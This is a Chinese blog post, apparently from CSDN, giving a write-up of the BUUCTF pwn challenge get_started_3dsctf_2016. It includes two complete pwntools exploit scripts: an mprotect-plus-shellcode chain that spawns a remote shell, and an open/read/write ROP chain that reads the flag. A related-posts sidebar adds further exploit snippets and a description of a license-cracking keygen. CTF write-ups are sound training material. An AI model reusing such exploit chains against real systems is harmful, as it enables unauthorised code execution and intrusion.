【pwn】 3dsctf2016_get_started

[BUUCTF]PWN11——get_started_3dsctf_2016 [BUUCTF]PWN11——get_started_3dsctf_2016 题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤: 第一个方法,本地打通,要自己创建一个flag.txt 例行检查,32位,开启了nx保护 nc一下,看看程序大概的执行情况 32位ida载入,shift+f12查看程序里的字符串,看到了flag.txt 双击跟进,ctrl+x查看哪个函数调用了它,发现了一个函数,当a1=0x308cd64f,a2=0x19 阅读详情

例行检查
在这里插入图片描述file一下,发现是静态连接的,还没有Pie。
在这里插入图片描述分析程序发现是简单栈溢出,还有一个get_flag函数?于是直接返回到get_flag函数执行,但是远程没有打通,然后试了下本地可以打通,然后猜测可能是远程环境部署错了,没有flag.txt文件?
然后试试别的方法。
由于是静态链接里面函数还是很多的。

1.mprotect,修改某地址为rwx,随后写入shellcode,然后getshell。

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
mprotect=0x806EC80 
pop3_ret=0x809e4c5
#pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
#op=0x806E0D0 
#write=0x806E1B0
#flag=0x80BC388

pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
#pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)+p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)+p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

然后发现。
在这里插入图片描述
远程环境里有flag.txt,那我就不懂了,不知道为什么之前远程打不通(我太菜了)

2.orw也可以

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
#mprotect=0x806EC80 
pop3_ret=0x809e4c5
pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
op=0x806E0D0 
write=0x806E1B0
flag=0x80BC388

#pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
#pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)
pl+=p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)
pl+=p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

#shellcode=asm(shellcraft.sh())
#io.sendline(shellcode)

io.interactive()

在这里插入图片描述
所以是为啥呢。

【BUUCTF-PWN】12-get_started_3dsctf_2016 垃圾数据–>mprotect函数地址–>三个连续的pop地址–>.got.plt表起始地址–>内存长度–>内存权限–>read函数–>三个连续的pop地址–>read函数的三个参数–> .got.plt表的起始位置。其中gets()函数存在栈溢出,溢出距离为0x38,这里是使用的esp寻址,属于外平栈,不需要覆盖ebp的四个字节。第二种是直接在IDA中查找,crtl+s调出程序的段表,这里还不太清楚怎么去选择可用的程序段,看很多博客都是直接用的.got.plt的起始位置。 阅读详情

相关推荐

【BUUCTF - PWN】get_started_3dsctf_2016

checksec一下,可以栈溢出 IDA打开看看,一个很普通的栈溢出漏洞,有后门函数,应该说是一道非常简单的题了 但是,本地打通非常容易,可是靶机打不通 =_= 于是乎,换个方法,利用mprotect函数修改bss段为rwx,写入shellcode跳过去执行 from pwn import * from LibcSearcher import * context.os='linux' con...

古月浪子的博客 1679

get_started_3dsctf_2016

先进入到题目环境里,程序接收用户输入,然后返回一串字符 checksec查看一下保护,只开启了NX,堆栈不可执行保护 用IDA分析程序,这一段程序很简短,gets函数存在溢出 发现了一个名为get_flag的函数 通过这个函数传入参数,且满足条件(a1 == 814536271 && a2 == 425138641)即可读取到flag 思路就是main函数溢出到返回地址的时候直接溢出到if条件判断里面,即使栈空间被破坏了,但是无所谓,已经输出flag了 这里可以用本地调试判断偏移量

qq_45691294的博客 1575

BUUCTF pwn题exp整合

0x01 rip from pwn import* p = remote('node3.buuoj.cn',27511) payload = 'a'*23+p64(0x401198)+p64(0x401186) p.sendline(payload) p.interactive()   0x02 warmup_csaw_2016 from pwn import * #p = proces...

菜的只能随便写写博客 809

BUUCTF get_started_3dsctf_2016

mprotect的运用

zwb2603096342的博客 1948

BUUCTF-Pwn-get_started_3dsctf_2016

题目截图

餐桌上的猫 319

get_started_3dsctf_2016|get_started_3dsctf_2016

网络安全逆向PWN题目,简单的栈溢出,虽然有后门函数,但同时又给了一定的限制条件,可以使用更复杂的ROP解法。该样本题解:https://blog.youkuaiyun.com/A951860555/article/details/111030289

get_started_3dsctf_2016【BUUCTF】(两种解法)

get_started_3dsctf_2016

qq_41696518的博客 2094

【科研学习】Demo3D2015安装包以及图文安装步骤

安装包 点击下图的.exe文件,安装 不需要解压,打开注册机 如下图: 点击上图的.exe文件,出现下图 先点击 patch 打开安装目录下的Demo3D.licensing.dll文件,然后点击Generate,生成dvt-license文件,保存即可 打开安装完成的Demo3D 2015(64-bit),一般破解没完成的,会出现一个request a license 的问题,点击find license 的那一行 点击后找到自己Generate,生成dvt

KaelCui的博客 1万+

[BUUCTF-pwn]——get_started_3dsctf_2016

[BUUCTF-pwn]——get_started_3dsctf_2016 题目地址:https://buuoj.cn/challenges#get_started_3dsctf_2016 题目: 这道题让我学到很多细节,虽然又一次栽倒了没有ebp的坑中 首先还是先checksec 一下看看,老样子32位NX保护. IDA中 看到这些,你是不是和我一样觉得so easy!!! 我一开始也觉得这种题 payload = ‘a’ * offest + ‘junk’ + get_flag的地址 +

Y_peak的博客 335

SigFit实战:从FEA到光学仿真的热力耦合分析全流程解析

在光机系统与芯片封装等精密工程领域,热与力的耦合效应是影响产品性能与可靠性的核心物理问题。有限元分析(FEA)是预测结构在热、力载荷下变形与应力的基础工具,但其结果通常无法直接用于评估光学性能。这需要一座桥梁,将物理场数据转化为光学设计语言。其核心原理在于数据映射与面形表征技术,例如通过泽尼克多项式拟合,将离散的节点位移分解为离焦、像散等标准光学像差。这项技术的工程价值在于,它实现了多物理场仿真的闭环,使工程师能在设计阶段精准预测热变形或应力对波前误差、调制传递函数等关键光学指标的影响。其典型应用场景包括高

weixin_28630185的博客 339

大漠多线程增强版:解决窗口消失、坐标错乱与识别卡死

多线程环境下窗口自动化面临的核心挑战,本质是GDI资源非线程安全、HWND生命周期失控及图像引擎状态污染三大底层问题。Windows GUI编程中,跨线程共享hDC、缓存失效的窗口句柄、OpenCV静态Mat等设计缺陷,导致FindPic失败、GetCursorPos异常、坐标跳变等典型故障。本方案通过线程局部存储(TLS)重构资源生命周期、WinEventHook+心跳探测构建实时窗口状态链、ABI对齐的多语言内存契约,实现稳定低延迟的并发UI识别与控制。适用于游戏多开监控、电商RPA、后台UI状态采集等

weixin_30561177的博客 477

从零开始Pwn:get_started_3dsctf_2016栈溢出入门实战

在CTF的Pwn方向中,栈溢出是最基础也最核心的漏洞类型,它源于程序对缓冲区长度缺乏约束,导致输入数据覆盖栈上的返回地址。攻击者通过精心构造的payload改写返回地址,就能劫持程序执行流,这种技术常与ROP(返回导向编程)结合使用,进而调用程序中的后门函数或系统函数。理解栈布局、函数调用约定和返回地址的覆写位置,是掌握二进制漏洞利用的关键一步。get_started_3dsctf_2016正是这样一道经典入门题,它只考察单一栈溢出点,配合预留的后门函数,非常适合初学者借助pwntools完成从环境搭建、漏

weixin_32006655的博客 280

Fluent温度超限调试:从能量方程到网格优化的实战指南

本文深入解析Fluent中温度超限问题的诊断与解决方法,从能量方程机制到网格优化策略,提供实战指南。通过分析温度与焓的换算关系,探讨典型场景如能量方程发散、局部网格质量差等,并给出五步调试法及高级命令应用,帮助工程师有效解决温度计算异常问题。

weixin_29045585的博客 530

pwn之get_started_3dsctf_2016

payload内容为从v4变量开始填充任意内容到函数返回地址,然后函数返回地址填充为ret_get_flag_addr即get_flag地址,为get_flag函数准备参数arg_a1,arg_a2,在32程序栈中,get_flag函数和参数中间有函数的返回地址,这里任意填入一个地址,如0x1。所以payload接下来的内容为read函数地址,但是程序在内存中mprotect函数执行完返回后和执行read地址间有mprotect三个参数的内容,这三个内存地址的内容需要处理,可以借用ROPgadget。

勿山几已 837

python DEA: 基于非径向距离NDDF的Malmquist-Luenberger 指数及其分解

点赞发Nature 关注中Science Malmquist-Lenberger指数(ML指数)是距离函数与DEA计算中常用的指数,ML指数可以进一步分解为技术进步technological progress和效率改善effeciency change. 技术进步常被当做增长模型中的全要素生产率,用到许多计量经济研究中,探讨影响技术进步的环境变量。这里我分享一个考虑非期望产出下的NDDF方法计算ML指数。 该ML指数为global ML(区别于sequential ML) import numpy as

Cmmmmm丶的博客 5297

无线传感网络的Matlab实现

Matlab是一种功能强大的数值计算和数据分析工具,也可以用于无线传感网络的建模和仿真。根据实际需求,可以进一步扩展和优化模型,例如考虑节点能量消耗、网络路由、数据融合等方面的问题。函数用于绘制节点之间的连接关系,其中第一个参数是邻接矩阵,描述了节点之间的连接关系。这里使用了一个4个节点的简单例子,可以根据实际需求修改节点数量和连接关系。可以使用Matlab中的图形绘制函数来可视化节点的位置和连接关系。在无线传感网络中,节点的能量是一个关键因素。通过计算节点的剩余能量,可以评估节点的能量消耗情况。

2301_79331387的博客 249

BUUCTF PWN get_started_3dsctf_2016

1.checksec +运行 32位/NX保护 2.32位IDA 1.main函数 gets()函数溢出 跟进v4看看偏移 offset=0x38 这个题有些不同,看看调用函数的汇编 该题没有用ebp寻址,用的是esp寻址 也就是说不需要覆盖ebp四字节 这就说明有时候后卡住回去仔细看看汇编 2.get_flag if ( a1 == 814536271 && a2 == 425138641 ) a1/a2满足条件即可得到flag.tx...

Rt1Text的博客 517

《Python基础教程》内容总览篇(持续更新中)

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为优快云博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的知识进行总结与归纳,不仅形成深入且独到的理解,而且能够帮助新手快速入门。个人精心开设的《Python基础课程》专栏订阅量接近900,帮助不少同学解决了Bug。

weixin_43178406的博客 35万+

BUU刷题-Pwn-get_started_3dsctf_2016

执行完mprotect函数后,esp指向return_addr无法执行下一个有参数的函数(因为无法传参)所以必须将esp指向read_addr,可以将return1_addr设置成pop…利用mprotect函数开启可执行权限(指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍,不然无法修改权限)利用栈溢出开启某一个空白内存的可执行权限,将shellcode写入并执行即可获得主机权限。所以栈的结构应该布置成。

一个啥也不会的小菜鸡! 185

cursor AI代码编辑器IDE对接deepseek模型api;字节ai编辑器trae

参考: https://www.cursor.com/ https://platform.deepseek.com/https://www.cursor.com/下载安装后,注册账号登录即可 再高级里选择设置 再模型这注册模型: 模型名称一定要填正确,url地址填好,最后填上秘钥验证

weixin_42357472的博客 1万+

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

【Pwn】get_started_3dsctf_2016

这是一个有点难度的题目,反正我是后面去看师傅们的wp了。。。这个题目听大家讲本地的和远程的exp居然还是有差别的首先拿到文件,开始老三样查看主要看在哪个平台:32位还是64位,还有就是有没有canary,如果有的话一般来说都不会是栈溢出攻击的题目然后拖进ida这个可以看出真的是一个栈溢出攻击我们还可以看到get_flag函数看出来是直接进行溢出到第8行地址就行。但是注意,可能是由于这题目远程的时候一些奇妙问题,在我们使用远程的时候没有正常退出会导致出错,无法获取回显。

ethan18的博客 318

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

buuoj pwn get_started_3dsctf_2016 ret2syscall

这里记录的是ret2syscall时候出的一些状况,详细的完整版在下面链接 from pwn import * r = process('./2016') elf=ELF('./2016') context.log_level = "debug" bss=0x080eb000 pop_ebx_esi_edi_ret=0x080509a5 syscall_addr = 0x0806357d pop_eax = 0x080b91e6 bss_addr = 0x080eb000 #gdb.attach(r)

yongbaoii的博客 471

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

BUUCTF(Pwn)get_started_3dsctf_2016

from pwn import * p = remote("node3.buuoj.cn",28584) context.log_level = 'debug' a1 = 0x308cd64f a2 = 0x195719d1 get_flag_addr = 0x080489A0 exit_addr = 0x0804E6A0 payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2) p.sendline(pay..

半岛铁盒的博客 456

BUUCTF pwn——get_started_3dsctf_2016

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 288
上一篇: 【pwn】 0ctf_2017_babyheap
下一篇: 【pwn】 33c32016_babyfengshui
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值